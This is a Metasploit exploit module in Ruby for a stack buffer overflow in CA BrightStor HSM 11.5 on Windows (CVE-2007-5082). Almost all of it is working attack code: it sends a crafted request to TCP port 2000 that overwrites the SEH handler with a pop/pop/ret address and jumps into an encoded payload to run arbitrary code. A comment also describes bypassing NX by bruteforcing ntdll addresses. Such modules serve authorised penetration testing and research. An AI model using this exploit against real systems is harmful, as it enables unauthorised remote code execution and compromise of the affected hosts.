##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class MetasploitModule < Msf::Exploit::Remote
  Rank = GreatRanking

  include Msf::Exploit::Remote::Tcp
  include Msf::Exploit::Remote::Seh

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'CA BrightStor HSM Buffer Overflow',
      'Description'    => %q{
          This module exploits one of the multiple stack buffer overflows in Computer Associates BrightStor HSM.
        By sending a specially crafted request, an attacker could overflow the buffer and execute arbitrary code.
      },
      'Author'         => [ 'toto' ],
      'License'        => MSF_LICENSE,
      'References'     =>
        [
          [ 'CVE', '2007-5082' ],
          [ 'OSVDB', '41363' ],
          [ 'BID', '25823' ],
        ],
      'Privileged'     => true,
      'DefaultOptions' =>
        {
          'EXITFUNC' => 'process',
        },
      'Payload'        =>
        {
          'Space'    => 1026,
          'BadChars' => "\x00\x0a\x0d;",
          'StackAdjustment' => -3500,
        },
      'Platform' => 'win',
      'Targets'  =>
        [
          # NX can be bypassed by bruteforcing ntdll addresses as the process is restarted
          # pop/pop/ret in fpparser.dll (old from 2004)
          [ 'BrightStor HSM 11.5 Windows All',	{ 'Ret' => 0x12014c78 } ],
        ],
      'DisclosureDate' => 'Sep 27 2007',
      'DefaultTarget' => 0))

    register_options(
      [
        Opt::RPORT(2000)
      ], self.class)
  end

  def exploit
    connect

    data =
      [42,7,0,0].pack('VVVV') +
      payload.encoded +
      "\xeb\x06" +
      Rex::Text.rand_text_alphanumeric(2) +
      [ target.ret ].pack('V') +
      "\xe9\xf1\xfb\xff\xff" +
      Rex::Text.rand_text_alphanumeric(0x100)

    sploit = [data.length + 4].pack('V') + data

    print_status("Trying target #{target.name}...")

    sock.put(sploit)
    handler
    disconnect
  end

end
